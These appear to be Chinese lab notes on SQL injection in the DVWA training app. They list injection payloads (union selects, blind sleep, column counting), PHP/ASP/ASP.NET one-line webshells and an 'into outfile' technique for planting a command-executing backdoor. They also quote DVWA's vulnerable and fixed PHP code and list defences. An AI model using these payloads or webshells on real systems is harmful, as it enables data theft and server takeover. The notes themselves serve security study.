输入 1:
sql为:select * from users where id = 1;

输入'测试:
回显:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
报错猜想,输入的'传到了sql里,又由于语法错误,所以报错。通过报错我们可以判断后台对'进行了处理,
因此,这个地方存在sql注入点。

1 or 1=1
sql:select *from users where id = 1 or 1=1;
因为or 1=1 永远为真,所以不仅将id=1的结果报出来,还会将表里所有的信息报出来。

如果不行,说明是字符型
输入1' or '1'='1 或1' or 1=1 -- (--后有空格)

手工利用

使用union,联合查询时列数需要和主查询列数一致

确认主查询列数?

order by

order by 对查询结果排序,按照第x列进行排序,若第n列不存在,则说明小于n列,通过此方法判断有几列
1’ order by 1#
1’ order by 2#
1’ order by 3#

1' union select 1,2--
1' and 1=2 (让前边的查询结果为空)union select database(),user()#

查表名
1' and exists(select * from aa)#得到报错信息,猜测
1.手动尝试,比如admin,user,users
2.brup suite抓包,暴力破解,挂字典

查字段名,同理
1' and exists(select yy from users)#

猜完就可用
1' and 1=2 union select first_name,password from users#

一名话木马:
php:<?php @eval($_POST['chopper']);?>
asp:<%eval request("chopper")%>
asp.net:<%@Page Language="Jscript"%><%Request.Item["chopper"],"unsafe;"%>

菜刀可以对一句话木马进行连接和管理,一句话木马的控制台。

上传一个后门,通过控制后门来得到shell
<?system($_REQUEST['CMD'];)?> //通过request提交,执行shell

1' and 1=2 union select 1,"<?system($_REQUEST['CMD']);?>" into outfile "d:\\web\\dvwa\\zzz.php"
或1' and 1=2 union select "<?","system($_REQUEST['CMD']);?>"into outfile "D:\\xxxx\\dvwa\\zzz.php"
生成一个文件,再去访问:http://192.168.0.3/web/dvwa/zzz.php?cmd=ipconfig 就能执行

1' and 1=2 union select 1,"<?php eval($_POST['888']);?>"into outfile "D:\\xxxx\\dvwa\\yyy.php"
通过菜刀进行连接,就可控制后台服务器

盲注:
使用sleep来进行基于时间的判断
1' and sleep(3)#

firebug

$num = @mysql_numrows( $result ); // The '@' character suppresses errors不会显示错误信息,对错误信息进行屏蔽

防范措施:

代码层面:
1.对输入进行严格的转义和过滤
2.使用参数化,将sql执行完再传参数,sql语句与参数分离

网络层面:
1.通过waf设备启用防sql inject注入策略
2.云端防护(260网站卫士、阿里云盾等)

源代码:
低级:
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

mysql_close();
}

?>

中级:
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );// 对 ‘ “ 、 ,进行转义

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";  //数字型的,前端是个选项,通过burp抓包可以绕过

$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

//mysql_close();
}

?>

高级:
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";   //可通过#注释符绕过
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

mysql_close();
}

?>

最高:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );//有token,防止表、列名的拆解

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );  //先对语法进行预处理,再传参数,参数不会拼到sql,都只当作值来处理。
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

sql注入分析的更多相关文章

  1. 技能提升丨Seacms 8.7版本SQL注入分析

    有些小伙伴刚刚接触SQL编程,对SQL注入表示不太了解.其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注 ...

  2. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  3. 动态分析小示例| 08CMS SQL 注入分析

    i春秋作家:yanzm 0×00 背景 本周,拿到一个源码素材是08cms的,这个源码在官网中没有开源下载,需要进行购买,由某师傅提供的,审计的时候发现这个CMS数据传递比较复杂,使用静态分析的方式不 ...

  4. ThinkPHP 5.0.x SQL注入分析

    前言 前段时间,晴天师傅在朋友圈发了一张ThinkPHP 注入的截图.最近几天忙于找工作的事情,没来得及看.趁着中午赶紧搭起环境分析一波.Think PHP就不介绍了,搞PHP的都应该知道. 环境搭建 ...

  5. Discuz 5.x/6.x/7.x投票SQL注入分析

    看乌云有人爆了这个漏洞:http://www.wooyun.org/bugs/wooyun-2014-071516感觉应该是editpost.inc.php里投票的漏洞.因为dz已经确定不会再修补7. ...

  6. Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴

    本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...

  7. 然之协同系统6.4.1 SQL注入导致getshell

     前言 先知上一个大佬挖的洞,也有了简单的分析 https://xianzhi.aliyun.com/forum/topic/2135 我自己复现分析过程,漏洞的原理比较简单,但是漏洞的利用方式对我而 ...

  8. 转:攻击JavaWeb应用[4]-SQL注入[2]

    转:http://static.hx99.net/static/drops/tips-288.html 攻击JavaWeb应用[4]-SQL注入[2] 园长 · 2013/07/18 17:23 注: ...

  9. PDO防sql注入原理分析

    使用pdo的预处理方式可以避免sql注入. 在php手册中'PDO--预处理语句与存储过程'下的说明: 很多更成熟的数据库都支持预处理语句的概念.什么是预处理语句?可以把它看作是想要运行的 SQL 的 ...

随机推荐

  1. 网络流SAP+gap+弧优化算法

    poj1273 Drainage Ditches Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 54962   Accept ...

  2. PreparedStatement vs Statement

    Statement和PreparedStatement之间的区别 1.PreparedStatement是预编译的,对于批量处理可以大大提高效率. 也叫JDBC存储过程   2.使用 Statemen ...

  3. 前端模拟(mock)接口数据(koa)

    在前后端分离开发项目时,经常会有前后端进度不一致,可能前端界面开发已经完成,就等接口了,如果等接口出来再联调的话时间可能会来不及. 这个时候,前端就可以根据制定好的接口规范和接口文档来mock接口数据 ...

  4. treeview(树加载)

    数据库结构 id:int类型,主键,自增列:     Name:char类型:     paraid:int类型 窗台拖入控件treeview. 1.版本1 using System; using S ...

  5. Pandas使用to_csv保存中文数据用Excel打开是乱码

    关于这个问题还是困扰了很久,我生成了一些样本数据,打算保存到csv文件,之后用pandas的命令: # data是DataFrame的格式 data.to_csv('./data/myfile.csv ...

  6. python基础之练习题(二)

    九九乘法表 i = 0 #while 九九乘法表 j = 0 while i < 9: i += 1 while j<9: j += 1 sum = i + j total="% ...

  7. 【css flex】将多个<div>放在同一行

    使用style里的flex属性 默认情况下,一个div独占一行 使用css选择器给外层div加上以下flex属性,则该div的子div可以在同一行中显示, .runs-paginator-flex-c ...

  8. (4.21)SQL Server数据库启动过程(用户数据库加载过程的疑难杂症)

    转自:指尖流淌 http://www.cnblogs.com/zhijianliutang/p/4100103.html SQL Server数据库启动过程(用户数据库加载过程的疑难杂症) 前言 本篇 ...

  9. STL学习笔记---STL简介

    1.概述 STL是通用类模版和算法的集合,它提供给程序员一些标准的数据结构和算法的实现.STL三大关键组成: 容器(Containers),用来管理类对象的集合 迭代器(Iterators),用来在一 ...

  10. OAuth 白话简明教程 4.刷新 Access Token

    转自:http://www.cftea.com/c/2016/11/6705.asp OAuth 白话简明教程 1.简述 OAuth 白话简明教程 2.授权码模式(Authorization Code ...